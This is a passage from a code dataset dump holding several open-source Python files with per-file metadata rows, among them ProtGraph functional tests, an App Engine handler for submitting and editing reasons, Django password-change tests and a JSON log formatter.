or (self.label != other.label)
):
return -1
else:
return 0 | 19.428571 | 79 | 0.627941 | 89 | 680 | 4.617978 | 0.640449 | 0.087591 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042403 | 0.167647 | 680 | 35 | 80 | 19.428571 | 0.683746 | 0.452941 | 0 | 0 | 0 | 0 | 0.027548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.294118 | false | 0 | 0.058824 | 0.176471 | 0.705882 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
1e5ab18416df4205e5bf855cc62673e0bc16722c | 467 | py | Python | webhud/signaling/test/objects_test.py | eigendude/beachfronter | dd4eb5d719d93047c24cfaf32a96b291bf9056d8 | [
"Apache-2.0"
] | null | null | null | webhud/signaling/test/objects_test.py | eigendude/beachfronter | dd4eb5d719d93047c24cfaf32a96b291bf9056d8 | [
"Apache-2.0"
] | null | null | null | webhud/signaling/test/objects_test.py | eigendude/beachfronter | dd4eb5d719d93047c24cfaf32a96b291bf9056d8 | [
"Apache-2.0"
] | null | null | null | ################################################################################
#
# Copyright (C) 2020 Aclima, Inc
# This file is part of aclima-schema - https://github.com/Aclima/aclima-schema
#
# SPDX-License-Identifier: MIT
# See DOCS/LICENSING.md for more information.
#
################################################################################
import unittest
class ObjectsTest(unittest.TestCase):
def test_example(self) -> None:
pass
| 27.470588 | 80 | 0.462527 | 41 | 467 | 5.243902 | 0.878049 | 0.111628 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009756 | 0.122056 | 467 | 16 | 81 | 29.1875 | 0.514634 | 0.391863 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
1e871e7be4f994cf1cfd89c9a4b868bc30e2a035 | 205 | py | Python | settings/settings.py | Partycode/opentfd | 2211012ccb3b96b5b48ae2ae27f874354e6ddc71 | [
"Apache-2.0"
] | null | null | null | settings/settings.py | Partycode/opentfd | 2211012ccb3b96b5b48ae2ae27f874354e6ddc71 | [
"Apache-2.0"
] | null | null | null | settings/settings.py | Partycode/opentfd | 2211012ccb3b96b5b48ae2ae27f874354e6ddc71 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import os
APP_PATH = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))
SESSION_FILE_PATH = os.path.join(APP_PATH, 'settings', 'opentfd_session')
| 25.625 | 73 | 0.721951 | 32 | 205 | 4.34375 | 0.5625 | 0.172662 | 0.143885 | 0.215827 | 0.230216 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010753 | 0.092683 | 205 | 7 | 74 | 29.285714 | 0.736559 | 0.209756 | 0 | 0 | 0 | 0 | 0.14375 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
1e941d0f1ea0bea6db578d655dff1e5ed3367636 | 781 | py | Python | sap/cf_logging/formatters/json_formatter.py | mhaas/cf-python-logging-support | 86b7e8ef35b935401bdec7da275fe4e09302988c | [
"Apache-2.0"
] | 16 | 2017-11-30T06:17:07.000Z | 2021-09-13T13:41:17.000Z | sap/cf_logging/formatters/json_formatter.py | mhaas/cf-python-logging-support | 86b7e8ef35b935401bdec7da275fe4e09302988c | [
"Apache-2.0"
] | 32 | 2017-12-01T14:48:17.000Z | 2022-02-19T04:49:55.000Z | sap/cf_logging/formatters/json_formatter.py | mhaas/cf-python-logging-support | 86b7e8ef35b935401bdec7da275fe4e09302988c | [
"Apache-2.0"
] | 7 | 2018-03-08T15:52:55.000Z | 2022-02-27T18:52:57.000Z | """ Module for the JsonFormatter """
import json
import logging
import sys
from sap.cf_logging.record.simple_log_record import SimpleLogRecord
def _default_serializer(obj):
return str(obj)
if sys.version_info[0] == 3:
def _encode(obj):
return json.dumps(obj, default=_default_serializer)
else:
def _encode(obj):
return unicode(json.dumps(obj, default=_default_serializer)) # pylint: disable=undefined-variable
class JsonFormatter(logging.Formatter):
"""
Format application log in JSON format
"""
def format(self, record):
""" Format the known log records in JSON format """
if isinstance(record, SimpleLogRecord):
return _encode(record.format())
return super(JsonFormatter, self).format(record)
| 27.892857 | 106 | 0.701665 | 95 | 781 | 5.631579 | 0.463158 | 0.095327 | 0.04486 | 0.06729 | 0.134579 | 0.134579 | 0 | 0 | 0 | 0 | 0 | 0.003195 | 0.198464 | 781 | 27 | 107 | 28.925926 | 0.851438 | 0.189501 | 0 | 0.117647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.235294 | 0.176471 | 0.823529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
1e96de784904b01afc6ec3b2c98877a952ba909a | 2,081 | py | Python | src/compas_rhino/geometry/__init__.py | arpastrana/compas | ed677a162c14dbe562c82d72f370279259faf7da | [
"MIT"
] | null | null | null | src/compas_rhino/geometry/__init__.py | arpastrana/compas | ed677a162c14dbe562c82d72f370279259faf7da | [
"MIT"
] | null | null | null | src/compas_rhino/geometry/__init__.py | arpastrana/compas | ed677a162c14dbe562c82d72f370279259faf7da | [
"MIT"
] | null | null | null | """
********************************************************************************
geometry
********************************************************************************
.. currentmodule:: compas_rhino.geometry
.. rst-class:: lead
Wrappers for Rhino objects that can be used to convert Rhino geometry and data to COMPAS objects.
.. code-block:: python
import compas_rhino
from compas_rhino.geometry import RhinoMesh
guid = compas_rhino.select_mesh()
mesh = RhinoMesh.from_guid(guid).to_compas()
----
BaseRhinoGeometry
=================
.. autoclass:: BaseRhinoGeometry
:members: from_geometry, from_selection, to_compas, from_guid, from_object, transform
----
RhinoPoint
==========
.. autoclass:: RhinoPoint
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
----
RhinoVector
===========
.. autoclass:: RhinoVector
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
----
RhinoLine
=========
.. autoclass:: RhinoLine
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
----
RhinoPlane
==========
.. autoclass:: RhinoPlane
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
----
RhinoMesh
=========
.. autoclass:: RhinoMesh
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
----
RhinoCurve
==========
.. autoclass:: RhinoCurve
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
----
RhinoSurface
============
.. autoclass:: RhinoSurface
:members: from_geometry, from_selection, to_compas
:no-show-inheritance:
"""
from __future__ import absolute_import
from .base import * # noqa: F401 F403
from .curve import * # noqa: F401 F403
from .line import * # noqa: F401 F403
from .mesh import * # noqa: F401 F403
from .plane import * # noqa: F401 F403
from .point import * # noqa: F401 F403
from .surface import * # noqa: F401 F403
from .vector import * # noqa: F401 F403
__all__ = [name for name in dir() if not name.startswith('_')]
| 19.819048 | 97 | 0.62518 | 218 | 2,081 | 5.770642 | 0.279817 | 0.063593 | 0.120827 | 0.146264 | 0.471383 | 0.348967 | 0.348967 | 0.31717 | 0.31717 | 0.31717 | 0 | 0.027397 | 0.158097 | 2,081 | 104 | 98 | 20.009615 | 0.690639 | 0.852955 | 0 | 0 | 0 | 0 | 0.003448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.9 | 0 | 0.9 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
1e974270a6cf3fb3cecc5bb2513b8e4bc658f7b9 | 5,757 | py | Python | tests/functional_test.py | Luxxii/ProtGraph | 68c3b362e2b487403fa02cfc25d456a272004a1f | [
"BSD-2-Clause"
] | null | null | null | tests/functional_test.py | Luxxii/ProtGraph | 68c3b362e2b487403fa02cfc25d456a272004a1f | [
"BSD-2-Clause"
] | null | null | null | tests/functional_test.py | Luxxii/ProtGraph | 68c3b362e2b487403fa02cfc25d456a272004a1f | [
"BSD-2-Clause"
] | null | null | null | import os
import unittest
import protgraph
class FunctionalTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
""" Set base Example Folder """
main_file_path = os.path.dirname(os.path.abspath(protgraph.__file__))
cls.examples_path = os.path.join(main_file_path, "..", "examples")
cls.example_files = [
os.path.abspath(os.path.join(cls.examples_path, "e_coli.dat")),
os.path.abspath(os.path.join(cls.examples_path, "p53_human.txt"))
]
cls.procs_num = ["-n", "1"]
def test_minimal(self):
args = protgraph.parse_args([] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_none(self):
args = protgraph.parse_args(["-ft", "NoNE"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_all(self):
args = protgraph.parse_args(["-ft", "ALl"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_isoforms(self):
args = protgraph.parse_args(["-ft", "VAR_SeQ"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_variants(self):
args = protgraph.parse_args(["-ft", "VARIAnT"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_met(self):
args = protgraph.parse_args(["-ft", "IniT_MET"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_signal(self):
args = protgraph.parse_args(["-ft", "SIGnaL"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_digestion_skip(self):
args = protgraph.parse_args(["-d", "skip"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_digestion_trypsin(self):
args = protgraph.parse_args(["-d", "trypsin"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_digestion_full(self):
args = protgraph.parse_args(["-d", "full"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_no_merge(self):
args = protgraph.parse_args(["-nm"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_annotate_weights(self):
args = protgraph.parse_args(["-aawe", "-amwe"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_replacement(self):
args = protgraph.parse_args(["-raa", "A->b,C,d"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_statistics_possibilites(self):
args = protgraph.parse_args(["-cnp"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_statistics_miscleavages(self):
args = protgraph.parse_args(["-cnpm"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_statistics_hops(self):
args = protgraph.parse_args(["-cnph"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_dot(self):
args = protgraph.parse_args(["-edot"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_csv(self):
args = protgraph.parse_args(["-ecsv"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_lcsv(self):
args = protgraph.parse_args(["-elcsv"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_graphml(self):
args = protgraph.parse_args(["-egraphml"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_gml(self):
args = protgraph.parse_args(["-epickle"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_pickle(self):
args = protgraph.parse_args(["-egml"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_pcsr(self):
args = protgraph.parse_args(["-epcsr"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_bpcsr(self):
args = protgraph.parse_args(["-ebpcsr"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_lpcsr(self):
args = protgraph.parse_args(["-elpcsr"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_lbpcsr(self):
args = protgraph.parse_args(["-elbpcsr"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_pep_fasta(self):
args = protgraph.parse_args(["-epepfasta", "--pep_fasta_hops", "2"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_pep_trie(self):
args = protgraph.parse_args(["-epeptrie", "--pep_fasta_hops", "2"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_export_pep_sqlite(self):
args = protgraph.parse_args(["-epepsqlite", "--pep_sqlite_hops", "2"] + self.procs_num + self.example_files)
protgraph.prot_graph(**args)
def test_issue8(self):
args = protgraph.parse_args(["-n", "1", os.path.join(self.examples_path, "Q9QXS1.txt")])
protgraph.prot_graph(**args)
def test_issue13(self):
args = protgraph.parse_args(["-n", "1", os.path.join(self.examples_path, "F1SN05.txt")])
protgraph.prot_graph(**args)
def test_issue41(self):
args = protgraph.parse_args(["-n", "1", "-epepfasta", os.path.join(self.examples_path, "P49782.txt")])
protgraph.prot_graph(**args)
| 39.163265 | 116 | 0.657982 | 740 | 5,757 | 4.843243 | 0.148649 | 0.0625 | 0.151786 | 0.196429 | 0.815848 | 0.663783 | 0.587054 | 0.561384 | 0.561384 | 0.540179 | 0 | 0.005185 | 0.195935 | 5,757 | 146 | 117 | 39.431507 | 0.769065 | 0.003995 | 0 | 0.293578 | 0 | 0 | 0.060426 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.302752 | false | 0 | 0.027523 | 0 | 0.33945 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1e9c3050599f663b533b1cb0a02ba2db691c8a25 | 10,680 | py | Python | submitReason.py | converj/reasonSurvey | dd40784da4b07cfeb9fd873bab820d627cb026c1 | [
"Apache-2.0"
] | null | null | null | submitReason.py | converj/reasonSurvey | dd40784da4b07cfeb9fd873bab820d627cb026c1 | [
"Apache-2.0"
] | null | null | null | submitReason.py | converj/reasonSurvey | dd40784da4b07cfeb9fd873bab820d627cb026c1 | [
"Apache-2.0"
] | null | null | null | # Import external modules
from google.appengine.ext import ndb
import json
import logging
import os
import webapp2
# Import app modules
from configuration import const as conf
import httpServer
import linkKey
import proposal
import reason
import requestForProposals
import user
import text
from text import LogMessage
class SubmitNewReason(webapp2.RequestHandler):
def post(self):
logging.debug(LogMessage('SubmitNewReason', 'request.body=', self.request.body))
# Collect inputs
requestLogId = os.environ.get( conf.REQUEST_LOG_ID )
inputData = json.loads( self.request.body )
logging.debug(LogMessage('SubmitNewReason', 'inputData=', inputData))
linkKeyStr = inputData.get( 'linkKey', None )
proposalId = str( int( inputData.get( 'proposalId', None ) ) )
proOrCon = inputData.get( 'proOrCon', None )
reasonContent = text.formTextToStored( inputData.get('reasonContent', '') )
browserCrumb = inputData.get( 'crumb', '' )
loginCrumb = inputData.get( 'crumbForLogin', '' )
logging.debug(LogMessage('SubmitNewReason', 'linkKeyStr=', linkKeyStr, 'proposalId=', proposalId,
'proOrCon=', proOrCon, 'reasonContent=', reasonContent, 'browserCrumb=', browserCrumb, 'loginCrumb=', loginCrumb))
# User id from cookie, crumb...
responseData = { 'success':False, 'requestLogId':requestLogId }
cookieData = httpServer.validate( self.request, inputData, responseData, self.response )
if not cookieData.valid(): return
userId = cookieData.id()
# Check reason length.
if not httpServer.isLengthOk( reasonContent, '', conf.minLengthReason ): return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.TOO_SHORT )
# Retrieve link-key record
linkKeyRec = linkKey.LinkKey.get_by_id( linkKeyStr )
if linkKeyRec is None: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey not found' )
logging.debug(LogMessage('SubmitNewReason', 'linkKeyRec=', linkKeyRec))
if linkKeyRec.loginRequired and not cookieData.loginId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.NO_LOGIN )
# Retrieve proposal record
proposalRec = proposal.Proposal.get_by_id( int(proposalId) )
if proposalRec is None: return httpServer.outputJson( cookieDataresponseData, self.response, errorMessage='proposal not found' )
logging.debug(LogMessage('SubmitNewReason', 'proposalRec=', proposalRec))
# Verify that reason belongs to linkKey's request/proposal, and check whether frozen
requestId = None
if linkKeyRec.destinationType == conf.PROPOSAL_CLASS_NAME:
if proposalId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='proposalId != linkKeyRec.destinationId' )
if proposalRec.hideReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasons hidden' )
if proposalRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN )
elif linkKeyRec.destinationType == conf.REQUEST_CLASS_NAME:
requestId = proposalRec.requestId
if requestId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='requestId != linkKeyRec.destinationId' )
# Retrieve request-for-proposals, and check whether frozen
requestRec = requestForProposals.RequestForProposals.get_by_id( int(requestId) )
if not requestRec: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='requestRec is null' )
if requestRec.hideReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasons hidden' )
if requestRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN )
else:
return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey destinationType=' + linkKeyRec.destinationType )
# Retrieve any existing identical reason, to prevent duplicates
existingReasons = reason.Reason.query( reason.Reason.requestId==requestId , reason.Reason.proposalId==proposalId ,
reason.Reason.proOrCon==proOrCon , reason.Reason.content==reasonContent ).fetch( 1 )
if existingReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.DUPLICATE )
# Construct new reason record
reasonRecord = reason.Reason( requestId=requestId, proposalId=proposalId, creator=userId, proOrCon=proOrCon, allowEdit=True )
reasonRecord.setContent( reasonContent )
# Store reason record
reasonRecordKey = reasonRecord.put()
logging.debug(LogMessage('SubmitNewReason', 'reasonRecordKey=', reasonRecordKey))
# Display reason
reasonDisplay = httpServer.reasonToDisplay( reasonRecord, userId )
responseData.update( { 'success':True, 'reason':reasonDisplay } )
httpServer.outputJson( cookieData, responseData, self.response )
# Mark proposal as not editable.
if proposalRec.allowEdit:
proposal.setEditable( proposalId, False )
class SubmitEditReason(webapp2.RequestHandler):
def post(self):
logging.debug(LogMessage('SubmitEditReason', 'request.body=', self.request.body))
# Collect inputs
requestLogId = os.environ.get( conf.REQUEST_LOG_ID )
inputData = json.loads( self.request.body )
logging.debug(LogMessage('SubmitEditReason', 'inputData=', inputData))
linkKeyStr = inputData.get( 'linkKey', None )
reasonId = str( int( inputData.get( 'reasonId', None ) ) )
reasonContent = text.formTextToStored( inputData.get('inputContent', '') )
browserCrumb = inputData.get( 'crumb', '' )
loginCrumb = inputData.get( 'crumbForLogin', '' )
logging.debug(LogMessage('SubmitEditReason', 'linkKeyStr=', linkKeyStr, 'reasonId=', reasonId,
'reasonContent=', reasonContent, 'browserCrumb=', browserCrumb, 'loginCrumb=', loginCrumb))
# User id from cookie, crumb...
responseData = { 'success':False, 'requestLogId':requestLogId }
cookieData = httpServer.validate( self.request, inputData, responseData, self.response )
if not cookieData.valid(): return
userId = cookieData.id()
# Check reason length.
if not httpServer.isLengthOk( reasonContent, '', conf.minLengthReason ): return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.TOO_SHORT )
# Retrieve link-key record
linkKeyRec = linkKey.LinkKey.get_by_id( linkKeyStr )
if linkKeyRec is None: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey not found' )
logging.debug(LogMessage('SubmitEditReason', 'linkKeyRec=', linkKeyRec))
if linkKeyRec.loginRequired and not cookieData.loginId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.NO_LOGIN )
# Retrieve reason record
reasonRec = reason.Reason.get_by_id( int(reasonId) )
if reasonRec is None: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reason not found' )
logging.debug(LogMessage('SubmitEditReason', 'reasonRec=', reasonRec))
# Verify that reason belongs to linkKey's request/proposal
if linkKeyRec.destinationType == conf.PROPOSAL_CLASS_NAME:
if reasonRec.proposalId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasonRec.proposalId != linkKeyRec.destinationId' )
# Retrieve proposal record, and check whether frozen
proposalRec = proposal.Proposal.get_by_id( int(reasonRec.proposalId) )
if not proposalRec: return httpServer.outputJson( cookieDataresponseData, self.response, errorMessage='proposalRec is null' )
if proposalRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN )
elif linkKeyRec.destinationType == conf.REQUEST_CLASS_NAME:
if reasonRec.requestId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasonRec.requestId != linkKeyRec.destinationId' )
# Retrieve request-for-proposals, and check whether frozen
requestRec = requestForProposals.RequestForProposals.get_by_id( int(reasonRec.requestId) )
if not requestRec: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='requestRec is null' )
if requestRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN )
else:
return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey destinationType=' + linkKeyRec.destinationType )
# Verify that proposal is editable
if userId != reasonRec.creator: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.NOT_OWNER )
if not reasonRec.allowEdit: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.HAS_RESPONSES )
# Retrieve any existing identical reason, to prevent duplicates
existingReasons = reason.Reason.query( reason.Reason.requestId==reasonRec.requestId ,
reason.Reason.proposalId==reasonRec.proposalId ,
reason.Reason.proOrCon==reasonRec.proOrCon , reason.Reason.content==reasonContent ).fetch( 1 )
if existingReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.DUPLICATE )
# Update reason record
reasonRec.setContent( reasonContent )
reasonRec.put()
# Display reason.
reasonDisplay = httpServer.reasonToDisplay( reasonRec, userId )
responseData.update( { 'success':True, 'reason':reasonDisplay } )
httpServer.outputJson( cookieData, responseData, self.response )
# Route HTTP request
app = webapp2.WSGIApplication([
('/newReason', SubmitNewReason) ,
('/editReason', SubmitEditReason)
])
| 57.112299 | 202 | 0.71573 | 1,001 | 10,680 | 7.604396 | 0.150849 | 0.04887 | 0.091435 | 0.148975 | 0.763006 | 0.746453 | 0.717551 | 0.675512 | 0.648187 | 0.615607 | 0 | 0.000694 | 0.190075 | 10,680 | 186 | 203 | 57.419355 | 0.879306 | 0.082772 | 0 | 0.40678 | 0 | 0 | 0.098095 | 0.00983 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016949 | false | 0 | 0.118644 | 0 | 0.169492 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1ea9efb4fb19e24813db0928c0ed0206e678e2ed | 2,605 | py | Python | accounts/tests/test_password_change_done.py | chrstsrs/ToDoList | 8e13c5a8f6cabad0cf3f715ba9134dd82a46cc3e | [
"MIT"
] | 1 | 2019-01-18T07:47:04.000Z | 2019-01-18T07:47:04.000Z | accounts/tests/test_password_change_done.py | chrstsrs/ToDoList | 8e13c5a8f6cabad0cf3f715ba9134dd82a46cc3e | [
"MIT"
] | 6 | 2020-02-11T23:33:32.000Z | 2022-03-11T23:38:01.000Z | accounts/tests/test_password_change_done.py | chrstsrs/todolist | 8e13c5a8f6cabad0cf3f715ba9134dd82a46cc3e | [
"MIT"
] | null | null | null | from django.contrib.auth import views as auth_views
from django.contrib.auth.models import User
from django.urls import resolve, reverse
from django.test import TestCase
class PasswordChangeDoneIntoAccountTests(TestCase):
def setUp(self):
self.user = User.objects.create_user(
username='tom', email='tom@dumy.com', password='asdf1234')
self.client.login(username='tom', password='asdf1234')
def test_password_change_done_view_url_exists_at_desired_location(self):
response = self.client.get('/accounts/settings/password/done/')
self.assertEquals(response.status_code, 200)
def test_password_change_done_view_status_code(self):
url = reverse('accounts:password_change_done')
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
def test_password_change_done_view_uses_correct_template(self):
response = self.client.get(reverse('accounts:password_change_done'))
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'accounts/password_change_done.html')
def test_password_change_done_view_uses_base_template(self):
response = self.client.get(reverse('accounts:password_change_done'))
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'base.html')
def test_password_change_done_url_resolves_the_correct_view(self):
view = resolve(reverse('accounts:password_change_done'))
self.assertEquals(view.func.view_class, auth_views.PasswordChangeDoneView)
def test_password_change_done_contains_link_home(self):
password_change_done_url = reverse('accounts:password_change_done')
home_url = reverse('home')
response = self.client.get(password_change_done_url)
self.assertContains(response, 'href="{0}"'.format(home_url))
def test_password_change_done_contains_link_password_change(self):
password_change_done_url = reverse('accounts:password_change_done')
password_change_url = reverse('accounts:password_change')
response = self.client.get(password_change_done_url)
self.assertContains(response, 'href="{0}"'.format(password_change_url))
class LoginRequiredPasswordChangeTests(TestCase):
def test_password_change_done_redirection(self):
url = reverse('accounts:password_change_done')
login_url = reverse('accounts:login')
response = self.client.get(url)
self.assertRedirects(response, f'{login_url}?next={url}')
| 47.363636 | 83 | 0.732438 | 311 | 2,605 | 5.81672 | 0.221865 | 0.185738 | 0.199005 | 0.092869 | 0.595357 | 0.550028 | 0.458264 | 0.352681 | 0.352681 | 0.352681 | 0 | 0.010176 | 0.170058 | 2,605 | 54 | 84 | 48.240741 | 0.826549 | 0 | 0 | 0.302326 | 0 | 0 | 0.155625 | 0.123873 | 0 | 0 | 0 | 0 | 0.232558 | 1 | 0.209302 | false | 0.604651 | 0.093023 | 0 | 0.348837 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
949a575e64bb72e464301f15610f9e5cb6055022 | 760 | py | Python | statuscake/apis/__init__.py | StatusCakeDev/statuscake-py | 267f485e6c18a6ed6e17667ceaddfce6271ec4af | [
"MIT"
] | null | null | null | statuscake/apis/__init__.py | StatusCakeDev/statuscake-py | 267f485e6c18a6ed6e17667ceaddfce6271ec4af | [
"MIT"
] | null | null | null | statuscake/apis/__init__.py | StatusCakeDev/statuscake-py | 267f485e6c18a6ed6e17667ceaddfce6271ec4af | [
"MIT"
] | null | null | null |
# flake8: noqa
# Import all APIs into this package.
# If you have many APIs here with many many models used in each API this may
# raise a `RecursionError`.
# In order to avoid this, import only the API that you directly need like:
#
# from .api.contact_groups_api import ContactGroupsApi
#
# or import this package, but before doing it, use:
#
# import sys
# sys.setrecursionlimit(n)
# Import APIs into API package:
from statuscake.api.contact_groups_api import ContactGroupsApi
from statuscake.api.locations_api import LocationsApi
from statuscake.api.maintenance_windows_api import MaintenanceWindowsApi
from statuscake.api.pagespeed_api import PagespeedApi
from statuscake.api.ssl_api import SslApi
from statuscake.api.uptime_api import UptimeApi
| 33.043478 | 76 | 0.803947 | 111 | 760 | 5.414414 | 0.513514 | 0.104825 | 0.169717 | 0.063228 | 0.136439 | 0.136439 | 0 | 0 | 0 | 0 | 0 | 0.001534 | 0.142105 | 760 | 22 | 77 | 34.545455 | 0.920245 | 0.521053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
94a709c7f27ee0b74f048f79e1615f51f51da338 | 353 | py | Python | py/helpers/position.py | mezhov/goArm | c066f9ee28fd26bb3f53352ee8508f388b71c499 | [
"BSD-3-Clause"
] | null | null | null | py/helpers/position.py | mezhov/goArm | c066f9ee28fd26bb3f53352ee8508f388b71c499 | [
"BSD-3-Clause"
